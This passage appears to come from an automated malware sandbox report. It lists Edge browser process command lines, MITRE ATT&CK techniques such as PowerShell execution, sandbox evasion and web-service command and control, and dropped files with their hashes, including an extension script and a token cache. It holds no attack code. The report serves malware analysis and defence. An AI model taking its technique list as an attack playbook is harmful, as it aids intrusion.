    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=876,i,11702945257298784457,6926799275228759012,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=6328 /prefetch:8
    3⤵
    PID:5880
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6484,i,7450518243009245086,14367591975476819309,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=6432 /prefetch:8
    3⤵
    PID:5380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6800,i,14937635709456960807,11003934173890410414,262144 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=6432 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2448
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6060,i,1509487296447298698,16754055999083691872,524288 --field-trial-handle=2356,i,16292298747795279433,4206322960179795559,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:8
    3⤵
    PID:4408

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1448

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 a72aa223a84c4fa011c8a2b0ef2475a83d5123de2cdfa6a7160231729e68383d
MD5 4521e67a3b03b060fde700c36d3b9297
SHA1 4a730cd86dc7a57ac001d59853dd500c1b83b4ab
SHA512 90235850eef71c2f0921d04e6990147af9e76fec8ee49e12e6a5bab065ff0e63331a54be845026f17a7b1dd230ee94843099db4813c127c6bafb8cbaf59b753f
TLSH
T12D61DB313275B0E4C95A7F47192819C063BF8395FA98AF5CB65C521EE92740B9B223F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e51b9bee3c2dbb63afcbacc2cde944a53371e66aaf1c8ba0bf71c7ee6eab83a5
MD5 2857cf1b0f1c8c30a6b756a34a37a836
SHA1 b21564c162ba15d8314ad459931f7f7c36b82ddb
SHA512 9fbd8c2a41b37b8a8425570de1371b59602556a9f89dcecaf471ea286b3538f518e368873fcf7b34ac36d9a7de7577953a1abe80c4995e05e1202c1b270d8dab
TLSH
T1F9D012232A5DB011FB695274A812CB00173655A024868711E211C49C96741D862D7587
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 7KB
SHA256 f117bead5638fbf0c8b84979a7b0303f2ff3b51ae88af3db8bdf91a9722c428e
MD5 476bd09c9547cdf7cc8514f944e03092
SHA1 af4805209eff9245a11fdbbf0239a0efd876067e
SHA512 c1e069a95940a6ec40963946b983b3f8a181c24b6c3e319d4f5db91948f3064a9eeb27705505a610d9a1dc15fa170e19295afc4d8ae31054f932cc3afc21f2d5
SSDEEP 96:CTsVpjQEAeg6ToBA/LAxtqhttrsApn/pqSl+W5Q/PRVrj9ygQD18H4:+sfYt+8xt4ttHN/pqS4Vh/ZQD44
TLSH
T1B1F13C8C7DF92AD3EBE2D03C52D0545A33368AB306172E8672CE90B336D5F965E0464B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 c65a8d6b955a42c84a7acb1ad9938dd098d176ac91a579ec9a6697da76e2b808
MD5 bca74fda19d52ff1345b4ae3c5148023
SHA1 ec60265b80d699874ec48dbf3c042a965e25fec4
SHA512 a58ce1ff355784f688da1a45d4da3d90a32a9fe6947fa3b0e0765fdcd50c8e960335ca80d6931b4a8cecb54260a371c5850573505aed4926c92ce3ff9f15ad65
TLSH
T1FF5169B3C2E8862DC90256F4AA147E2BCE2D0954432C3C2AC9E4AF5B97E3561E141A4F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 02474096d182f817f240f33ab5cc21782b4e8c7424ac14b6e4c03a987fc63119
MD5 e4d960b056505214bfa91a015ec91f9c
SHA1 55307521a94a570e81e6b18c98c103b71f314ede
SHA512 cdf39ddc90081d5ee80ae7b20a20b12c8473b7707a6e3e19dccd5d2911fb324e7dda41c1de20a2e959ef46b67c42e9b29ee4bf219d8316ace6f9269176d5e8d5
TLSH
T1DD617AB3C6E8862DC90256F4AA147E2BCE2D0954431C3C2AC9E5AF5FA7E3571F14164F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 3c125b55aa4940fdb89f3a06894dbf232eba457aaeaaccf59c70b02403403cac
MD5 90976e26b488556bea13c4c54141917e
SHA1 8fdd0def1217f57a89b235598ddd536fa6859659
SHA512 a99c93b2d4882fba2bf52c92e6204f010faf10258b29a3adafc142afed348a0ccd59e0ed9ac9e1acbac103e1ba24ab5576e218a48c2ccbaaa45bfb4318e9119c
SSDEEP 192:sxZKRz1yM/jK1Ml8Mit/fVsUX7IIdpEFHW6+WNz/k/eB5cDDrnzIg4J:sxZK7qt/fVsUX1EHbQ/eqc
TLSH
T155520A12AB34A977CCDBD209B9517F53D6F54563A2940E44AAFCCA0C04E6BED2217C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 46279946b4f7f8fe99f2cbac21badb2128d27e6d70009b07e1a6225e32758987
MD5 437a67d40d78e31e46ef1f70f49a966b
SHA1 2ce0c4a0bd771cf83ef610ab095677da1b3578b7
SHA512 fc4c8f35f0493d3fb5c9e0481f976ae90adb2fd604d6c9b8dd9a69eb268160494b0488d0c651c9182a03832552037c2971bf2c7c9d87e7980459a578c8e95308
SSDEEP 192:sxZKRz1yM/jK1Ml8UQ5it/fVsXU4V+uPIIdp+FHW6+WNz/k/eB5cDxG3zIg5+J:sxZK7qAt/fVsXUk+U+HbQ/evM
TLSH
T1F662E856AB389977CCDBD20DB9417F53D6F54562A2844E44AAFCCA0C01E6BED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 096426550346dcdd87a01e49340e0e1c2f507cd545c65ebb93d8abea6805d699
MD5 d413745cc6b72689a56aaec3b0ae9ded
SHA1 8226f9dc729c512c1842025f025ff50335c1b36e
SHA512 830ab60b8e202da4cdf0438c4d488c14a310bc8e50bc0ba0b4ac3adf09c7103d71a6b8e521fe71df99c9a6297ae7205175c421d2be226d4d66452f467904de7e
SSDEEP 768:+h4RkXUWvssVg8F1+UoAYDCx9Tuqh0VfUC9xbog/OVFTLlLBERpro7M8Bcfud:+h4RkXUWvssVgu1jacTLBWRCw4/d
TLSH
T150E21C2B284CCB7E4F844E9CEC26AF966ED802CB97644D5447FA884C03C77EA51179DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 226B
SHA256 d5e62d77f15141bfadc62ef8ed0efc0dfc352a61e0256b70e23b44fb38fd13be
MD5 3f832130c84a1a6c6d320709963a1c3c
SHA1 e32c7a5aaa0c0fc9d79862ab0a5e75738401fa1e
SHA512 6867e84616dd0075709c1595464ac1cd1544f92dea6a31c9e1c7737f160b19b0bfbc64689f646256a94f2a076eea7f71443bd45f5641c3024a84b1018f58dee1
TLSH
T187D097BBD1982880E6BF8FC10A22043F833938C800E4808CB03214152C12743B202FD2
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 233B
SHA256 aa443e83f50c88f0b17022192cbe91fe7e9d3e42239564d9b8add9deb82aee69
MD5 67282ef1342b3880addd37b82282d88c
SHA1 5c3b48841b57661a21e7a3e73c0898791c6b04e7
SHA512 372d3ca858d3f090ae12c6eddc05a149b8f1439a2e9ae547b98ebd8804b14ee3c24c4b8322406be956bdc326482a32085fb1ef12fea8618841a8558c780866bb
TLSH
T1AED0A7BBD2A52884E7BF8BC54A62446F87B53CCC1494908CE53334192C76743A716FD2
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe58075e.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt~RFe58075e.TMP
Size 138B
SHA256 faac278971532ec564a5b479f0afebeab0cacf91272722882cdc36f6b310a154
MD5 daf2259b684b744fbe4f502a2dfbbdc8
SHA1 fe93288f086e4f7ebc5533e90fa26188ceb47c73
SHA512 d27e43fe58d277775a4eec7e3aba869b5db82a748c697b5ac47f2b42ec2e7255ba2c155f78b96d0fbadddb5e4c1259c2ce025ee0e8626f679d3f28393c3ceb84
TLSH
T104C08CB3A20524008B2D42800622481E87192CC8098180CCB01334142430A237242FD5
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 6KB
SHA256 521849c9f43a1201679924f76fb2666d101fcf2ba85eb309f852e152f2c14237
MD5 f0f0feca3fe16c5f8bea2d479674695c
SHA1 58b96ebb929c6630cc01262e35ec103c1a6b5896
SHA512 b9ce6285242a3daf07407516a8760fa1b961b300bb0143ff84553988ca1debe0dcd08739d34bed7732862dedca75ac64e73b17076bea806868c08e76c1530e00
SSDEEP 96:KUQwKl2CebaKsUmCAgKxOOBWKSE6rTuKEwc:yLJR7wVGV
TLSH
T19AE18816313E46D138BE290CA2A2C7370E9272B7751CE66F379811660E66F126CFC5CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe58e3a4.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe58e3a4.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 a34891b4b0b1c68edcc67bd9cb4dcf42a63c1b2f6373bff9e1155b5495fd1f5f
MD5 83872b10e3835f28c7129ca1e8a6c8bc
SHA1 2655dc2f74eb2d8d260540e0f80668e1ea1a4d21
SHA512 136fbd59ed62c0005b67c6388ebf08a623af1d41cbfff54011e6f17b45cb4966e3b182b8c706efaced7344cdf3255423715456e60684c5cd8495cf96a159f8ea
SSDEEP 384:nutNn/s3n9SfsN4kfUN2bVhudQ4sw2Fg6QvXSTmnsOObjI9G6w7Y:uj+9UosqmPCmns29MY
TLSH
T1A8929D32AC39AC7619E3A115F5473F63AFF415BB96C46F48D2E89F0C01C369C131681A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 30KB
SHA256 675656d92fb20d394badb5e80d31681dd89e41a4eef85b040ec1a062557b0b1b
MD5 9321d37b3e86bb1e5f7b0c6d3f24b7f5
SHA1 a1d9ad20c5649ea7bf5514b992db12e97d80e093
SHA512 856a2b6554d81b9f87477531e8ad34f6fed3b77e3e83904e07e14cf1eac7377540e94183fcdfa17fec142c62dfd17796ff14f1116b93e6a07fe1b18a7f0dadca
SSDEEP 384:nPiF1tNn/s3n9S5zsNo8TUNTUlIlkeUN2b3humDfweQ4sw2Fg6QvXSTizsOObjIR:aF1j+92Fwgx4eqmPCizs29MY
TLSH
T17CD2B5F198E79936D8AE4783A73E3E569EBCC16375885984F7D45E0CCC821BFC206805
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 1bd4eea3ba6bd18967ee5103e12114297d7fb90601ae720403dbe1a4c0b75dda
MD5 24cbb04539df340db8c6b060e1dae404
SHA1 fdc98ba05600b7c6cee7348ea1667f1a23698687
SHA512 5be2e8f47bd8933a10f8241e26248b0ebd5a2b65e4e8869ef0034f6aebe886fa59ea8627f6255e13824f306e2780ca9ea42115c58252953cf0f972fd6db8c5a7
SSDEEP 192:lONG6JpdQmiUyUkgcQ4sw2F4jzonmsFHRqU6:lONG6jugcQ4sw2Fg6mkUU6
TLSH
T1EF02C735ADB87C7A9EF3AE45B5472B236FA41137E6946B54DAE81B0C00D764C1307826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 10f6aec34433986c1960c7995354fb5161e9038a0a5d59eb54a25c4476b3efe3
MD5 2365837255afe54f4906a26ef085af01
SHA1 cd39b69122a0caa7135be106d839ac98afdc1805
SHA512 22f3e30c2a93ecddc0cd921222b4da6ba6e68b5f1f2331379d246d6dfe30fcce863fb0f5db45dd4d372c3a46225dcd9f4ff074004fff7eb0f8fe568d144bdf31
SSDEEP 384:ngtNn/s3n9SfsN4keUN2bVhudQ4sw2Fg6QvXSTmnsOObjI9G6w7Y:gj+9UlsqmPCmns29MY
TLSH
T167929D32AC39AC7619E3A529F5473F63AFF415BB96C46F48D2E89F0C00C369C131691A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 78c9d9e9228f1c75e8633a8255096664ce4755a5f988f99792da7048144573d9
MD5 dab06b6bc662b5317cbb7adc45f8ae6c
SHA1 b3f29628f4f2fa6d73afca89b9141ae1d1acd958
SHA512 86a6387a5f93d0cd097f122da02d4c80379d06c4b239e5a3ffdde2f511273ad62ab7b8acb013d6da0e3dc0257ac29af881d2055d338ec88da48e455a3e8a31aa
SSDEEP 192:DONB6JpiQmiUyOEkscQ4sw2F4jzonQvXOFQETshs9cqxfKU6:DONB6mxscQ4sw2Fg6QvXSTT7sU6
TLSH
T1DE120B35A8B9EC6B2DE2B515F5873B63AEB41133EA84AF50D6E81B0C00D764C174FC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 9107e613905835c00077a499d2faa20bb70b974e6309d1f2f33ae52933318f07
MD5 2012d4de563c653f56f62ccbf46db598
SHA1 fb24881003593f1ceb79019e52ce5ee9e94c889c
SHA512 c03d6584395c1c97c75af7dc6df57df358d3957035521bb6833c538679683aebe0410bb12586472b84dc98111e703984dd37868464fa9c66fdafb423e763b555
TLSH
T10CF00E829C3E25C086E90F7FE44725F840C46517B0883879088DE9D8813A40F11414BE
MD5 SHA1 SHA512 TLSH

Submit Download

be400eb2-44a4-4b53-87bf-035895e57290.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\be400eb2-44a4-4b53-87bf-035895e57290.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 e0ba009108ebf9cc573e503b63cf074468a81935e2d357af44073ec5863f589a
MD5 1648007c42642708b0fbcab98adb3013
SHA1 2a5aab25033073a97ea740494d0280102c0e78cc
SHA512 fb88d03c03a5cb6898e7fa3e8e6d4f390761e51c97f449ece5448b16f1fbe8c099d3050e47f965cfc116b85c3d381888760e61303b6603821d9ed4ec3280bd02
TLSH
T15D411A88BAEE1148B3B76F5A9BF6A86D487F79272E0AD45D10110D4F0A63E40C871B37
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 05bc81c15fc664f1f69b046181b07fbfc8f26b86608c8c5288363f4ac8f3412a
MD5 43a8aeb4f89386db2ff751b7b844b04e
SHA1 2b2e4d01b87c23913106cb51e0b33bc505894c4a
SHA512 2124c34676a9c5309e36f0370aa7135e0af37f7edf46e54e190025eb10c23d2c4545e0d31e8609813b050cced47046edbe50a693663349a504729306d2125b04
TLSH
T101218927B7DCC951CC89413B108C8D6075B2D7C7809EDF9B6FC4C608A07F599CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

344ce0b0-e6f8-4af7-b775-ebcdbac1084c.tmp

Path C:\Users\Admin\AppData\Local\Temp\344ce0b0-e6f8-4af7-b775-ebcdbac1084c.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_mylgfu3n.2x4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mylgfu3n.2x4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4776_375234498\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3520-2-0x00000201FC560000-0x00000201FC582000-memory.dmp

Download

memory/4560-521-0x0000000140000000-0x00000001409D2000-memory.dmp

Download

memory/4560-0-0x0000000140000000-0x00000001409D2000-memory.dmp

Download

memory/4560-1-0x0000000140000000-0x00000001409D2000-memory.dmp

Download